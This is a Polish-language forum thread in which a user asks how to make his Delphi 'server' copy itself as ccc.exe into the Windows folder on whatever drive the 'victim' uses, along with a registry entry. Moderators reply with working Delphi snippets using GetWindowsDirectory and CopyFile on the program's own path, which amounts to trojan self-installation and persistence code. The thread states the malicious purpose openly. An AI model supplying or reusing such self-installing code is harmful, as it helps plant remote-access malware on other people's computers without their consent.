Delphi - Instalowanie servera w zależności od dysku Windowsa

fdavid

Użytkownik
Dołączył
Luty 10, 2006
Posty
34
Chcę aby mój server kopiował się do pliku np. ccc.exe w katalogu Windows, lecz nie wiem na którym dysku ofiara ma zainstalowanego Windowsa. Czy mogę zrobić tak:

reg.WriteString('CCC','C:WINDOWSccc.exe');
reg.WriteString('CCC','D:WINDOWSccc.exe');
reg.WriteString('CCC','E:WINDOWSccc.exe');

copyfile(pchar(paramstr(0)),pchar('C:WINDOWSccc.exe'),true);
copyfile(pchar(paramstr(0)),pchar('D:WINDOWSccc.exe'),true);
copyfile(pchar(paramstr(0)),pchar('E:WINDOWSccc.exe'),true);

???? Czy nie wywali błędu że nie ma jednej ze ścieżek??
 

rafal

Były Moderator
Dołączył
Marzec 30, 2005
Posty
392
Sprobuj tego :

Kod:
var

WinSys : Pchar;

Win : string;

begin

WinSys := StrAlloc(MAX_PATH+1);

GetSystemDirectory(WinSys,MAX_PATH);

GetWindowsDirectory(WinSys,MAX_PATH);

Win := Strupper(WinSys);

CopyFile(Pchar(paramstr(0)),Pchar(Win+'ccc.exe'),True);
 

fdavid

Użytkownik
Dołączył
Luty 10, 2006
Posty
34
maSs - ale ta instrukcja co podałeś wyświetla ścieżkę do Windowsa (np. C:WINDOWS) a mi chodzi o to żeby samą literę dysku wyświetlała gdzie winda zainstalowana....
Bo np. jak będę chciał server umieścić w c:program files to mi nie umieści...
 

Kornik52

Były Moderator
Dołączył
Sierpień 12, 2004
Posty
848
Kod:
var

WinSys : Pchar;

Win : string;

Partycja:string;

begin

WinSys := StrAlloc(MAX_PATH+1);

GetSystemDirectory(WinSys,MAX_PATH);

GetWindowsDirectory(WinSys,MAX_PATH);

Win := Strupper(WinSys);

Partycja := Copy(Win, 0, 3);

CopyFile(Pchar(paramstr(0)),Pchar(Partycja +'ccc.exe'),True);

Plik zostanie skopiowany do C:ccc.exe
 

rafal

Były Moderator
Dołączył
Marzec 30, 2005
Posty
392
Chcę aby mój server kopiował się do pliku np. ccc.exe w katalogu Windows, lecz nie wiem na którym dysku ofiara ma zainstalowanego Windowsa.[/b]

to nastepnym razem precyzuj swoje zapytanie, bo pytasz o windowsa a chodzi Ci o partycje systemowa ;-)
 

fdavid

Użytkownik
Dołączył
Luty 10, 2006
Posty
34
THX
smile.gif
 
Do góry Bottom